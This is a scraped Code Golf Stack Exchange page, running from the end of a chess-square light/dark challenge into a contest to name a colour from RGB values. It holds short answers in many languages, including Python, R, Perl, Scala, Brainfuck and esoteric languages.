P^S5eg ^S8 te^S7eh ^ < ``` Here it is with the different path segments highlighted: ![enter image description here](https://i.stack.imgur.com/icE83.png) (Any non-space characters not highlighted serve as arguments for the `e` and `S` instructions- each of these instructions uses the symbol to the left (relative to the bot's direction of travel) as its argument) [Answer] # 𝔼𝕊𝕄𝕚𝕟, 26 chars / 34 bytes ``` ô(שǀ(ï,ḣ)%2?`dark`:`light” ``` `[Try it here (Firefox only).](http://molarmanful.github.io/ESMin/interpreter.html?eval=false&input=&code=%E2%86%BA%3B%E1%B8%80%3C%E1%B9%A5%3B%E1%B8%80%E2%A7%BA%29%E1%B5%96%E1%B8%80)` [Answer] ## Clojure, 63 bytes ``` (pr (['light 'dark] (mod (Integer/parseInt (read-line) 35) 2))) ``` * We read in a line from stdin with (read-line) * Then parse the string into an integer value in base 35 using a call to a JVM method * Taking mod of the result 2 tells us if it is even or odd * Use the result returned from the modulo function as an index to the sequence and print it I save a worthy 2 bytes by quoting out "light" and "dark" with a single quote so that Clojure takes it as a literal, as opposed to wrapping each word in a pair of quotation marks. I also save a few bytes by using pr rather than println. [Some info on quoting in Clojure](https://blog.8thlight.com/colin-jones/2012/05/22/quoting-without-confusion.html) [Answer] # C, 46 bytes ``` main(c){gets(&c);puts(c%37%2?"light":"dark");} ``` Expects an environment where `int`s are stored little-endian, and are at least two bytes. ## Explanation `c` is `argc`, so initially it contains `01 00 00 00`. `gets` will read two chars, say `a (0x61)` and `1 (0x31)`, and store them in `c`, which is now ``` 61 31 00 00 ``` representing the number 0x3161, or 12641. Essentially, in this problem, given `c = x + 256*y`, we want to compute `(x + y) mod 2`, and print a string accordingly. To do this, I could have written `c % 255 % 2`, as then ``` (x + 256 * y) % 255 % 2 = (x % 255 + y % 255) % 2 since 256 ≡ 1 (mod 255) = (x + y) % 2 since 0 < x, y < 255 ``` However, `37` also works: ``` (x + 256 * y) % 37 % 2 = (x % 37 - 3 * (y % 37)) % 2 since 256 ≡ -3 (mod 37) ``` `x` is in the range 49-57 inclusive (digits 1-8), so `x % 37 == x - 37`. `y` is in the range 97-104 inclusive (lowercase a-h), so `y % 37 == y - 74`. This means we can simplify to ``` = (x - 3 * y + 185) % 2 = (x + y + 1) % 2 since -3 ≡ 185 ≡ 1 (mod 2) ``` and simply flip the strings to correct for the parity. [Answer] # [Beam](http://esolangs.org/wiki/Beam), 127 bytes ``` rSr>`+v ^ ) n(`)nS< >L'''''>`+++++)S>`+++)@---@'''>`+++++)++@-------@H >L'''''>`+++)S>`++++++)+++@---@--@+@'''>`++++)@H ``` An explanation [![enter image description here](https://i.stack.imgur.com/vumV8.png)](https://i.stack.imgur.com/vumV8.png) Light blue - read a character from input into beam, save the beam value into the store, read a character from input into beam. Dark blue - Adds store to beam by decrementing store to 0 while incrementing the beam Light green - An even odd testing construct. The loop will exit to the left if the beam is even or the right if odd. Dark green - Outputs dark Tan - Outputs light [Answer] # [O](https://github.com/phase/o), ~~22~~ 17 bytes ``` i#2%"light'dark"? ``` This does what it is required to do, with no additional benefits. [Answer] # Matlab, 51 bytes I do not think this needs any explanation=) ``` a={'light','dark'};disp(a(2-mod(sum(input('')),2))) ``` [Answer] ## [Minkolang 0.12](https://github.com/elendiastarman/Minkolang), ~~28~~ 24 bytes ``` on+2%t"dark"t"light"t$O. ``` [Try it here.](http://play.starmaninnovations.com/minkolang/old?code=on%2B2%25t%22dark%22t%22light%22t%24O%2E&input=c6) ### Explanation ``` o Take character from input n Take integer from input + Add 2% Modulo by 2 t t t Ternary; runs first half if top of stack is 0, second half otherwise "dark" "light" Pushes the string "dark" or "light", depending. $O. Output the whole stack as characters and stop. ``` [Answer] ## [Brian & Chuck](https://github.com/mbuettner/brian-chuck), 66 bytes ``` ,>,_{->-?+{-_?>}<?light{-_?>}>>?dark? II{<?}<<<?{<{<<<?_>.>.>.>.>. ``` Probably still golfable, but I think I'd need another approach. ### Explanation `,>,` reads input into Chuck, replacing the two `I`s. Next is the following part of the code: ``` _{->-? {<? ``` which decrements both input elements until the latter (i.e. the digit) reaches zero. This stops Brian's `?` from passing control to Chuck, continuing on. The next `+` increments the zeroed digit to a 1 so that following uses of `{` don't get caught on it. At this point, the first cell of Chuck's tape has the difference of the two code points, so now we need to take the code point modulo 2. This is done with the following parts: ``` A B C {-_?>}<? {-_?>}>>? ? }<<<?{<{<<<? ``` I've labelled the three parts on Brian's tape to make things easier to explain. The `{-` in parts A and B decrement the first cell on Chuck's tape, and the following `?` checks if it's zero. If it's not, then control is passed, and we execute `}<<<?`. For part A, this moves us to part B. For part B, this moves us to part C, which immediately passes control and we execute `{<{<<<?`, sending us back to part A. Thus the effect is that we alternate between parts A and B, in a state machine-like way. Now whether the first cell was zeroed while we were in part A or part B determines what we print. For A, we have: ``` ?>}<?light _ ?_>.>.>.>.>. ``` which executes `>}<` to position us on the last `?` in Chuck's tape, and then runs `>.` five times to print "light". On the other hand, for part B, we have: ``` ?>}>>?dark? _ _>.>.>.>.>. ``` which executes `>}>>` to position us on the first `.` in Chuck's tape, and then runs `>.` *four* times to print "dark". [Answer] ## Brainfuck, 132 bytes ``` >,>,[<->-]<[->+<[->-]<[<]>]<++++++++++[->++++++++++<]>>[<++++++++.---.--.+.++++++++++++.>->+<]>-[<<.---.+++++++++++++++++.-------.<] ``` I tried coming up with my own mod 2 algorithm, which is the `[->+<[->-]<[<]>]`. [Answer] # Batch, ~~248~~ ~~223~~ 207 bytes Because Batch lacks disjunctional conditionals. -18 bytes thanks to @dohaqatar7, and more due to his idea. ``` @ECHO OFF SET S=SET %S%/P I= %S%L=%I:~0,1% %S%I=IF %L%== %S%N=%I:~-1% %S%A= %S%L= %I%a%A%0 %I%b%A%1 %I%c%A%0 %I%d%A%1 %I%e%A%0 %I%f%A%1 %I%g%A%0 %I%h%A%1 %S%/A R=N%%2 IF %R%%L% (ECHO light) ELSE (ECHO dark) ``` ]
[Question] [ **Closed**. This question needs [details or clarity](/help/closed-questions). It is not currently accepting answers. --- **Want to improve this question?** Add details and clarify the problem by [editing this post](/posts/32386/edit). Closed 6 years ago. [Improve this question](/posts/32386/edit) Given three number values - being the Red, Green, and Blue elements of a colour (eight bits per channel, 0 to 255) - your program must output the **name** of the given colour. For example; ``` Input: 255, 0, 0 Output: Red ``` or; ``` Input: 80, 0, 0 Output: Dark Red ``` This is a popularity contest, so whichever answer has the most votes by the first of July wins. Ispired by: [Show the input RGB color](https://codegolf.stackexchange.com/questions/32352/show-the-input-rgb-color) [Answer] # Python This is a Python script that uses the results from xkcd's [Color Survey](http://blog.xkcd.com/2010/05/03/color-survey-results/), in which Randall Munroe asked thousands of people the exact same question. He arrived at the following chart: [![The chart](https://i.stack.imgur.com/MIROFm.png)](http://blog.xkcd.com/2010/05/03/color-survey-results/) The survey only has data on fully-saturated colors (I guess non-saturated colors would all be described as 'grayish'). This means we have to do some color-related tricks to force our input to become fully saturated. What I've done here is just convert the input color to HSV, crank up the saturation, and call it a day. This is probably not very correct from a color perception point of view, but it works well enough here - and it's simple enough that you only need the standard library. Batteries included indeed. The script expects satfaces.txt, from [here](http://xkcd.com/color/satfaces.txt) ([mirror](http://bpaste.net/raw/402634/)), to be in the current directory. ``` import sys, colorsys n = (int(sys.argv[1], 16)) r = ((n & 0xff0000) >> 16) / 255.0 g = ((n & 0x00ff00) >> 8) / 255.0 b = ((n & 0x0000ff)) / 255.0 (h, s, v) = colorsys.rgb_to_hsv(r, g, b) (r, g, b) = colorsys.hsv_to_rgb(h, 1, v) match = "[{}, {}, {}]".format(int(r*255), int(g*255), int(b*255)) for line in open("satfaces.txt"): if line.startswith(match): print("You were thinking of: " + line.split("] ")[1].strip()) break ``` Some example runs: ``` $ python color.py CEB301 You were thinking of: yellow $ python color.py CC9900 You were thinking of: orange $ python color.py CC0000 You were thinking of: red $ python color.py 0077FF You were thinking of: blue ``` And here are the colors: ![Yellow](https://i.stack.imgur.com/1tYY4s.png) ![Orange](https://i.stack.imgur.com/5Qa4ls.png) ![Red](https://i.stack.imgur.com/MkbBEs.png) ![Blue](https://i.stack.imgur.com/BDXoMs.png) I'd say that's pretty close. [Answer] ## Update with GUI! ![Light cornflower blue](https://i.stack.imgur.com/5OwJZ.png) ![A slightly brighter Lime (web) (X11 green)](https://i.stack.imgur.com/MujLO.png) I take the color list from [this Wikipedia page](http://en.wikipedia.org/wiki/List_of_colors:_A%E2%80%93F) (and the related pages). I also included some NLG to produce results like "Bulgarian Rose with slightly less green and blue" and some variants of it. Try to play along to see whether you can guess the true "Bulgarian Rose" using those feedbacks. :) The algorithm will try to find the color which is the closest to the input, as defined by the Euclidean distance. So you can input any number triplet and it will give the color which is the closest to that triplet. (the code accepts "comma-space separated", "space separated", or "comma separated" values) ### Warning This code connects to Wikipedia, and so it requires Internet connection in order to run the first time (and write the information in a file in the same dictionary). The subsequent times, though, it will read from file. If you want the offline version, the code is available [at this Ideone link](http://ideone.com/fJQ2aN) (with sample run). Code: ``` import re, os from bs4 import BeautifulSoup as BS import requests import cPickle as pickle import random def encode_color(text): return tuple(map(int, re.split(', |,| ', text))) def color_name(col): global color_map, color_nums arr = color_nums closest = None min_dist = 10**8 for color in arr: dist = sum((color[i]-col[i])**2 for i in range(3)) if dist < min_dist: closest = color min_dist = dist result = color_map[closest] rgb = ['red', 'green', 'blue'] slightly_more = ['with a hint of', 'with traces of', 'with slightly more'] slightly_less = ['with subdued', 'with slightly less'] more_more = ['with more', 'with strong hint of'] more_less = ['with less', 'with diminished'] count = 0 adds = ['',''] for i in range(3): expl_list = [''] if 5 < col[i]-closest[i] < 10: expl_list = slightly_more count += 1 add_idx = 0 elif 10 <= col[i]-closest[i]: expl_list = more_more count += 2 add_idx = 0 elif -10 <= col[i]-closest[i] < -5: expl_list = slightly_less count -= 1 add_idx = 1 elif col[i]-closest[i] <= -10: expl_list = more_less count -= 2 add_idx = 1 expl = expl_list[random.randint(0, len(expl_list)-1)] if expl is not '': if adds[add_idx] is '': adds[add_idx] += ' %s %s' % (expl, rgb[i]) else: adds[add_idx] += ' and %s' % rgb[i] if 3 <= count <= 4: result = 'A slightly brighter '+result elif 4 < count: result = 'A brighter '+result elif -4 <= count <= -3: result = 'A slightly darker '+result elif count < -4: result = 'A darker '+result elif count > 0: result += adds[0] elif count < 0: result += adds[1] return result links = ['http://en.wikipedia.org/wiki/List_of_colors:_A%E2%80%93F', 'http://en.wikipedia.org/wiki/List_of_colors:_G%E2%80%93M', 'http://en.wikipedia.org/wiki/List_of_colors:_N%E2%80%93Z'] def is_color(tag): return tag.name == 'th' and len(tag.contents)==1 and tag.contents[0].name=='a' def parse_color(hexa): return (int(hexa[0:2], 16), int(hexa[2:4], 16), int(hexa[4:6], 16)) print 'Loading color names...' if os.path.exists('parse_wiki_color.pickle'): with open('parse_wiki_color.pickle', 'rb') as infile: color_map, color_nums = pickle.load(infile) else: color_map = {} color_nums = [] for link in links: soup = BS(requests.get(link).text,'lxml') for color in soup.find_all(is_color): try: color_num = parse_color(color.next_sibling.next_sibling.string[1:]) color_nums.append(color_num) color_map[color_num] = str(color.a.string) except: continue color_nums = sorted(color_nums) with open('parse_wiki_color.pickle', 'wb') as outfile: pickle.dump((color_map, color_nums), outfile, protocol=2) print 'Color names loaded' def main(event=None): global var, col_name, col_disp text = var.get() color = encode_color(text) result = color_name(color) col_name.set(result) col_rgb.set(color) var.set('') col_disp.configure(background='#%02x%02x%02x' % color) from Tkinter import * root = Tk() frame = Frame(root) frame.pack() caption = Label(frame, text='Enter RGB color:') caption.pack(side=LEFT) var = StringVar() entry = Entry(frame, textvariable=var) entry.focus_set() entry.pack(side=LEFT) entry.bind('<Return>',func=main) button = Button(frame, text='Get name', command=main) button.pack(side=LEFT) col_rgb = StringVar() col_rgb_disp = Label(root, textvariable=col_rgb) col_rgb_disp.pack() col_name = StringVar() col_label = Label(root, textvariable=col_name) col_label.pack() col_disp = Label(root) col_disp.configure(padx=50, pady=45, relief=RAISED) col_disp.pack() root.geometry('400x200') root.mainloop() ``` [Answer] ### JavaScript The following function is written with canine users in mind: ``` function getColorName(r, g, b) { return "gray"; } ``` For the more refined dogs out there: ``` function getColorName(r, g, b) { var gray = (0.21*r + 0.71*g + 0.07*b); if (gray < 64) return "black"; else if (gray < 128) return "dark gray"; else if (gray < 192) return "light gray"; else if (gray < 256) return "white"; else whimper(); } ``` [Answer] # Javascript ``` window.location = 'http://www.color-hex.com/color/' + 'ff00ff' ``` [Answer] # Mathematica Update: Added a parameter for setting the number of closest colors to display. The default is 5 colors. Given the RGB values of an unnamed color, the following finds the `n` nearest colors from a list of 140 HTML color names. It then plots the unnamed color and its 5 nearest neighbors in a 3-space, with axes for Red, Green, and Blue. In the plot label it names the nearest color and provides its RGB values. ``` colorInterpret[rgb_,n_: 5]:= Module[{colorData,valsRGB,pts,closest}, colorData=({ColorData["HTML",#],#}&/@ColorData["HTML","Range"][[1]])/.{RGBColor[x__]:> {x}}; valsRGB=colorData[[All,1]]; pts=Append[colorData[[Position[valsRGB,#]&/@Nearest[valsRGB,rgb,n]//Flatten]],{rgb,"Unnamed Color"}]; closest=pts[[1]]; Graphics3D[{PointSize[.05], {RGBColor@@#,Point[#],Text[Style[#2,Black,14],(#-{.01,.01,.01})]}&@@@pts }, Axes-> True, PlotLabel-> Row[{"closest color: ", closest}], ImageSize-> 600, ImagePadding-> 50, BaseStyle-> 14, AxesLabel->{Style["Red",18],Style["Green",18],Style["Blue",18]}]] ``` **Examples** Display the 5 closest colors: ``` colorInterpret[{.55, .86, .69}] ``` ![green](https://i.stack.imgur.com/xoMdd.png) --- Display the 15 closest colors: ![blue](https://i.stack.imgur.com/dNhzp.png) [Answer] # CJam ``` l~]:X;"xkcd.com/color/rgb.txt"gN%" "f%{[1=1>eu2/{:~Gb}%X]z{:-}%2f#:+}$0=0= ``` This gets the list of colors from xkcd and finds the nearest one. Note: the space-looking string in the middle is actually one tab. To run it, please use the interpreter from <http://sf.net/p/cjam> **Example:** Input `147 125 0` Output `baby poop` [Answer] ## R R has an embedded list of 657 color names for plotting purposes. The following code take input from user, and computes the distance between this rgb input and the rgb value of those 657 colors and outputs the name of the closest one. ``` a=as.integer(strsplit(readline(),", ")[[1]]);color_list=sapply(colors(),col2rgb);names(which.min(colSums(abs(apply(color_list,2,function(x)x-a))))) ``` Ungolfed: ``` a <- as.integer(strsplit(readline(),", ")[[1]]) #Ask user input as stdin, and process it color_list <- sapply(colors(),col2rgb) #Convert the color name list into an RGB matrix #Computes the difference with user input, adds the absolute value and output the name of the element with the minimal value names(which.min(colSums(abs(apply(color_list, 2, function(x)x-a))))) ``` Examples: ``` > a=as.integer(strsplit(readline(),", ")[[1]]);color_list=sapply(colors(),col2rgb);names(which.min(colSums(abs(apply(color_list,2,function(x)x-a))))) 80, 0, 2 [1] "darkred" > a=as.integer(strsplit(readline(),", ")[[1]]);color_list=sapply(colors(),col2rgb);names(which.min(colSums(abs(apply(color_list,2,function(x)x-a))))) 150, 150, 150 [1] "gray59" > a=as.integer(strsplit(readline(),", ")[[1]]);color_list=sapply(colors(),col2rgb);names(which.min(colSums(abs(apply(color_list,2,function(x)x-a))))) 0, 200, 255 [1] "deepskyblue" > a=as.integer(strsplit(readline(),", ")[[1]]);color_list=sapply(colors(),col2rgb);names(which.min(colSums(abs(apply(color_list,2,function(x)x-a))))) 255, 100, 70 [1] "tomato" ``` **Edit:** Same idea but using the list of name from [colorHexa](http://www.colorhexa.com/color-names): ``` a=strsplit(xpathSApply(htmlParse("http://www.colorhexa.com/color-names"),"//li",xmlValue),"#") n=sapply(a,`[`,1) r=apply(do.call(rbind,strsplit(sapply(a,`[`,2)," "))[,2:4],2,as.integer) n[which.min(colSums(abs(apply(r,1,`-`,as.integer(strsplit(readline(),", ")[[1]])))))] ``` Example: ``` > a=strsplit(xpathSApply(htmlParse("http://www.colorhexa.com/color-names"),"//li",xmlValue),"#") > n=sapply(a,`[`,1) > r=apply(do.call(rbind,strsplit(sapply(a,`[`,2)," "))[,2:4],2,as.integer) > n[which.min(colSums(abs(apply(r,1,`-`,as.integer(strsplit(readline(),", ")[[1]])))))] 208, 32, 12 [1] " Fire engine red " ``` [Answer] # Perl Expects `http://xkcd.com/color/rgb.txt` in current directory. Displays five closest colours with nice percentage. ## Example run ``` > perl code.pl 147,125,0 99.87% baby poop 98.44% yellowish brown 98.31% puke brown 97.79% poo 97.27% diarrhea ``` ## Code ``` #!perl -w use strict; sub hex2rgb ($) { my ($h) = @_; map {hex} ($h=~/[0-9a-fA-F]{2}/g) } sub distance ($$) { my ($acol1, $acol2) = @_; my $r = 0; $r += abs($acol1->[$_] - $acol2->[$_]) for (0..$#$acol1); $r } sub read_rgb { open my $rgb, '<', 'rgb.txt' or die $!; my @col; while (<$rgb>) { my ($name, $hex) = split /\t#/; my @rgb = hex2rgb $hex; push @col, [@rgb, $name]; } close $rgb; \@col } my $acolours = read_rgb; my @C = split /, */, <>; printf "%.02f%% %s\n", (768-$_->[0])/768*100, $_->[4] for (sort {$a->[0] <=> $b->[0]} map [distance(\@C, $_), @$_], @$acolours)[0..4]; ``` [Answer] # Scala My attempt — the killer feature is that it doesn't require Internet connection! (I hope it's not too long :D ) Also, I did summon Chtulhu while preparing color database (because I parsed a subset of HTML with regex; the regex and the link to source are in comments) Edit: improved accuracy Example run: <http://ideone.com/e3n0dG> ``` object Main { def main(args: Array[String]) { val color = extractBrightness(readLine().split("[, ]+").map(_.toInt)) val nearestColor = colors.minBy(t => distance(extractBrightness(parseColor(t._1)), color, weight))._2 println(s"Your color is $nearestColor") } def parseColor(s: String) = { s.sliding(2, 2).map(Integer.parseInt(_, 16)).toVector } def distance(c1: Seq[Double], c2: Seq[Double], weight: Seq[Double]) = { c1.zip(c2).map(t => ((x: Double) => x * x)(t._1 - t._2)).zip(weight).map(t => t._1 * t._2).sum } val weight = Vector(0.01, 1.0, 0.8) def extractBrightness(c: Seq[Int]) = { val Seq(r, g, b) = c val brightness = c.sum.toDouble / 3 val rOffset = r - brightness val bOffset = b - brightness Seq(brightness, rOffset, bOffset) } // colors are extracted by using this regex: <li>[\s\S]*?<a href="/......">([\w ]+)</a>[\s\S]*?<a href="/......">#(......)</a>[\s\S]*?</li> // from this page: http://www.colorhexa.com/color-names val colors = Vector( "5d8aa8" -> "Air Force blue", "f0f8ff" -> "Alice blue", "e32636" -> "Alizarin crimson", "efdecd" -> "Almond", "e52b50" -> "Amaranth", "ffbf00" -> "Amber", "ff033e" -> "American rose", "9966cc" -> "Amethyst", "a4c639" -> "Android Green", "cd9575" -> "Antique brass", "915c83" -> "Antique fuchsia", "faebd7" -> "Antique white", "008000" -> "Ao", "8db600" -> "Apple green", "fbceb1" -> "Apricot", "00ffff" -> "Aqua", "7fffd4" -> "Aquamarine", "4b5320" -> "Army green", "e9d66b" -> "Arylide yellow", "b2beb5" -> "Ash grey", "87a96b" -> "Asparagus", "ff9966" -> "Atomic tangerine", "a52a2a" -> "Auburn", "fdee00" -> "Aureolin", "6e7f80" -> "AuroMetalSaurus", "ff2052" -> "Awesome", "007fff" -> "Azure", "89cff0" -> "Baby blue", "a1caf1" -> "Baby blue eyes", "f4c2c2" -> "Baby pink", "21abcd" -> "Ball Blue", "fae7b5" -> "Banana Mania", "ffe135" -> "Banana yellow", "848482" -> "Battleship grey", "98777b" -> "Bazaar", "bcd4e6" -> "Beau blue", "9f8170" -> "Beaver", "f5f5dc" -> "Beige", "ffe4c4" -> "Bisque", "3d2b1f" -> "Bistre", "fe6f5e" -> "Bittersweet", "000000" -> "Black", "ffebcd" -> "Blanched Almond", "318ce7" -> "Bleu de France", "ace5ee" -> "Blizzard Blue", "faf0be" -> "Blond", "0000ff" -> "Blue", "a2a2d0" -> "Blue Bell", "6699cc" -> "Blue Gray", "0d98ba" -> "Blue green", "8a2be2" -> "Blue purple", "8a2be2" -> "Blue violet", "de5d83" -> "Blush", "79443b" -> "Bole", "0095b6" -> "Bondi blue", "e3dac9" -> "Bone", "cc0000" -> "Boston University Red", "006a4e" -> "Bottle green", "873260" -> "Boysenberry", "0070ff" -> "Brandeis blue", "b5a642" -> "Brass", "cb4154" -> "Brick red", "1dacd6" -> "Bright cerulean", "66ff00" -> "Bright green", "bf94e4" -> "Bright lavender", "c32148" -> "Bright maroon", "ff007f" -> "Bright pink", "08e8de" -> "Bright turquoise", "d19fe8" -> "Bright ube", "f4bbff" -> "Brilliant lavender", "ff55a3" -> "Brilliant rose", "fb607f" -> "Brink pink", "004225" -> "British racing green", "cd7f32" -> "Bronze", "a52a2a" -> "Brown", "ffc1cc" -> "Bubble gum", "e7feff" -> "Bubbles", "f0dc82" -> "Buff", "480607" -> "Bulgarian rose", "800020" -> "Burgundy", "deb887" -> "Burlywood", "cc5500" -> "Burnt orange", "e97451" -> "Burnt sienna", "8a3324" -> "Burnt umber", "bd33a4" -> "Byzantine", "702963" -> "Byzantium", "007aa5" -> "CG Blue", "e03c31" -> "CG Red", "536872" -> "Cadet", "5f9ea0" -> "Cadet blue", "91a3b0" -> "Cadet grey", "006b3c" -> "Cadmium green", "ed872d" -> "Cadmium orange", "e30022" -> "Cadmium red", "fff600" -> "Cadmium yellow", "a67b5b" -> "Café au lait", "4b3621" -> "Café noir", "1e4d2b" -> "Cal Poly Pomona green", "a3c1ad" -> "Cambridge Blue", "c19a6b" -> "Camel", "78866b" -> "Camouflage green", "ffff99" -> "Canary", "ffef00" -> "Canary yellow", "ff0800" -> "Candy apple red", "e4717a" -> "Candy pink", "00bfff" -> "Capri", "592720" -> "Caput mortuum", "c41e3a" -> "Cardinal", "00cc99" -> "Caribbean green", "ff0040" -> "Carmine", "eb4c42" -> "Carmine pink", "ff0038" -> "Carmine red", "ffa6c9" -> "Carnation pink", "b31b1b" -> "Carnelian", "99badd" -> "Carolina blue", "ed9121" -> "Carrot orange", "ace1af" -> "Celadon", "b2ffff" -> "Celeste", "4997d0" -> "Celestial blue", "de3163" -> "Cerise", "ec3b83" -> "Cerise pink", "007ba7" -> "Cerulean", "2a52be" -> "Cerulean blue", "a0785a" -> "Chamoisee", "fad6a5" -> "Champagne", "36454f" -> "Charcoal", "7fff00" -> "Chartreuse", "de3163" -> "Cherry", "ffb7c5" -> "Cherry blossom pink", "cd5c5c" -> "Chestnut", "d2691e" -> "Chocolate", "ffa700" -> "Chrome yellow", "98817b" -> "Cinereous", "e34234" -> "Cinnabar", "d2691e" -> "Cinnamon", "e4d00a" -> "Citrine", "fbcce7" -> "Classic rose", "0047ab" -> "Cobalt", "d2691e" -> "Cocoa brown", "6f4e37" -> "Coffee", "9bddff" -> "Columbia blue", "002e63" -> "Cool black", "8c92ac" -> "Cool grey", "b87333" -> "Copper", "996666" -> "Copper rose", "ff3800" -> "Coquelicot", "ff7f50" -> "Coral", "f88379" -> "Coral pink", "ff4040" -> "Coral red", "893f45" -> "Cordovan", "fbec5d" -> "Corn", "b31b1b" -> "Cornell Red", "9aceeb" -> "Cornflower", "6495ed" -> "Cornflower blue", "fff8dc" -> "Cornsilk", "fff8e7" -> "Cosmic latte", "ffbcd9" -> "Cotton candy", "fffdd0" -> "Cream", "dc143c" -> "Crimson", "990000" -> "Crimson Red", "be0032" -> "Crimson glory", "00ffff" -> "Cyan", "ffff31" -> "Daffodil", "f0e130" -> "Dandelion", "00008b" -> "Dark blue", "654321" -> "Dark brown", "5d3954" -> "Dark byzantium", "a40000" -> "Dark candy apple red", "08457e" -> "Dark cerulean", "986960" -> "Dark chestnut", "cd5b45" -> "Dark coral", "008b8b" -> "Dark cyan", "536878" -> "Dark electric blue", "b8860b" -> "Dark goldenrod", "a9a9a9" -> "Dark gray", "013220" -> "Dark green", "1a2421" -> "Dark jungle green", "bdb76b" -> "Dark khaki", "483c32" -> "Dark lava", "734f96" -> "Dark lavender", "8b008b" -> "Dark magenta", "003366" -> "Dark midnight blue", "556b2f" -> "Dark olive green", "ff8c00" -> "Dark orange", "9932cc" -> "Dark orchid", "779ecb" -> "Dark pastel blue", "03c03c" -> "Dark pastel green", "966fd6" -> "Dark pastel purple", "c23b22" -> "Dark pastel red", "e75480" -> "Dark pink", "003399" -> "Dark powder blue", "872657" -> "Dark raspberry", "8b0000" -> "Dark red", "e9967a" -> "Dark salmon", "560319" -> "Dark scarlet", "8fbc8f" -> "Dark sea green", "3c1414" -> "Dark sienna", "483d8b" -> "Dark slate blue", "2f4f4f" -> "Dark slate gray", "177245" -> "Dark spring green", "918151" -> "Dark tan", "ffa812" -> "Dark tangerine", "483c32" -> "Dark taupe", "cc4e5c" -> "Dark terra cotta", "00ced1" -> "Dark turquoise", "9400d3" -> "Dark violet", "00693e" -> "Dartmouth green", "555555" -> "Davy grey", "d70a53" -> "Debian red", "a9203e" -> "Deep carmine", "ef3038" -> "Deep carmine pink", "e9692c" -> "Deep carrot orange", "da3287" -> "Deep cerise", "fad6a5" -> "Deep champagne", "b94e48" -> "Deep chestnut", "704241" -> "Deep coffee", "c154c1" -> "Deep fuchsia", "004b49" -> "Deep jungle green", "9955bb" -> "Deep lilac", "cc00cc" -> "Deep magenta", "ffcba4" -> "Deep peach", "ff1493" -> "Deep pink", "ff9933" -> "Deep saffron", "00bfff" -> "Deep sky blue", "1560bd" -> "Denim", "c19a6b" -> "Desert", "edc9af" -> "Desert sand", "696969" -> "Dim gray", "1e90ff" -> "Dodger blue", "d71868" -> "Dogwood rose", "85bb65" -> "Dollar bill", "967117" -> "Drab", "00009c" -> "Duke blue", "e1a95f" -> "Earth yellow", "c2b280" -> "Ecru", "614051" -> "Eggplant", "f0ead6" -> "Eggshell", "1034a6" -> "Egyptian blue", "7df9ff" -> "Electric blue", "ff003f" -> "Electric crimson", "00ffff" -> "Electric cyan", "00ff00" -> "Electric green", "6f00ff" -> "Electric indigo", "f4bbff" -> "Electric lavender", "ccff00" -> "Electric lime", "bf00ff" -> "Electric purple", "3f00ff" -> "Electric ultramarine", "8f00ff" -> "Electric violet", "ffff00" -> "Electric yellow", "50c878" -> "Emerald", "96c8a2" -> "Eton blue", "c19a6b" -> "Fallow", "801818" -> "Falu red", "ff00ff" -> "Famous", "b53389" -> "Fandango", "f400a1" -> "Fashion fuchsia", "e5aa70" -> "Fawn", "4d5d53" -> "Feldgrau", "71bc78" -> "Fern", "4f7942" -> "Fern green", "ff2800" -> "Ferrari Red", "6c541e" -> "Field drab", "ce2029" -> "Fire engine red", "b22222" -> "Firebrick", "e25822" -> "Flame", "fc8eac" -> "Flamingo pink", "f7e98e" -> "Flavescent", "eedc82" -> "Flax", "fffaf0" -> "Floral white", "ffbf00" -> "Fluorescent orange", "ff1493" -> "Fluorescent pink", "ccff00" -> "Fluorescent yellow", "ff004f" -> "Folly", "228b22" -> "Forest green", "a67b5b" -> "French beige", "0072bb" -> "French blue", "86608e" -> "French lilac", "f64a8a" -> "French rose", "ff00ff" -> "Fuchsia", "ff77ff" -> "Fuchsia pink", "e48400" -> "Fulvous", "cc6666" -> "Fuzzy Wuzzy", "dcdcdc" -> "Gainsboro", "e49b0f" -> "Gamboge", "f8f8ff" -> "Ghost white", "b06500" -> "Ginger", "6082b6" -> "Glaucous", "e6e8fa" -> "Glitter", "ffd700" -> "Gold", "996515" -> "Golden brown", "fcc200" -> "Golden poppy", "ffdf00" -> "Golden yellow", "daa520" -> "Goldenrod", "a8e4a0" -> "Granny Smith Apple", "808080" -> "Gray", "465945" -> "Gray asparagus", "00ff00" -> "Green", "1164b4" -> "Green Blue", "adff2f" -> "Green yellow", "a99a86" -> "Grullo", "00ff7f" -> "Guppie green", "663854" -> "Halayà úbe", "446ccf" -> "Han blue", "5218fa" -> "Han purple", "e9d66b" -> "Hansa yellow", "3fff00" -> "Harlequin", "c90016" -> "Harvard crimson", "da9100" -> "Harvest Gold", "808000" -> "Heart Gold", "df73ff" -> "Heliotrope", "f400a1" -> "Hollywood cerise", "f0fff0" -> "Honeydew", "49796b" -> "Hooker green", "ff1dce" -> "Hot magenta", "ff69b4" -> "Hot pink", "355e3b" -> "Hunter green", "fcf75e" -> "Icterine", "b2ec5d" -> "Inchworm", "138808" -> "India green", "cd5c5c" -> "Indian red", "e3a857" -> "Indian yellow", "4b0082" -> "Indigo", "002fa7" -> "International Klein Blue", "ff4f00" -> "International orange", "5a4fcf" -> "Iris", "f4f0ec" -> "Isabelline", "009000" -> "Islamic green", "fffff0" -> "Ivory", "00a86b" -> "Jade", "f8de7e" -> "Jasmine", "d73b3e" -> "Jasper", "a50b5e" -> "Jazzberry jam", "fada5e" -> "Jonquil", "bdda57" -> "June bud", "29ab87" -> "Jungle green", "e8000d" -> "KU Crimson", "4cbb17" -> "Kelly green", "c3b091" -> "Khaki", "087830" -> "La Salle Green", "d6cadd" -> "Languid lavender", "26619c" -> "Lapis lazuli", "fefe22" -> "Laser Lemon", "a9ba9d" -> "Laurel green", "cf1020" -> "Lava", "e6e6fa" -> "Lavender", "ccccff" -> "Lavender blue", "fff0f5" -> "Lavender blush", "c4c3d0" -> "Lavender gray", "9457eb" -> "Lavender indigo", "ee82ee" -> "Lavender magenta", "e6e6fa" -> "Lavender mist", "fbaed2" -> "Lavender pink", "967bb6" -> "Lavender purple", "fba0e3" -> "Lavender rose", "7cfc00" -> "Lawn green", "fff700" -> "Lemon", "fff44f" -> "Lemon Yellow", "fffacd" -> "Lemon chiffon", "bfff00" -> "Lemon lime", "f56991" -> "Light Crimson", "e68fac" -> "Light Thulian pink", "fdd5b1" -> "Light apricot", "add8e6" -> "Light blue", "b5651d" -> "Light brown", "e66771" -> "Light carmine pink", "f08080" -> "Light coral", "93ccea" -> "Light cornflower blue", "e0ffff" -> "Light cyan", "f984ef" -> "Light fuchsia pink", "fafad2" -> "Light goldenrod yellow", "d3d3d3" -> "Light gray", "90ee90" -> "Light green", "f0e68c" -> "Light 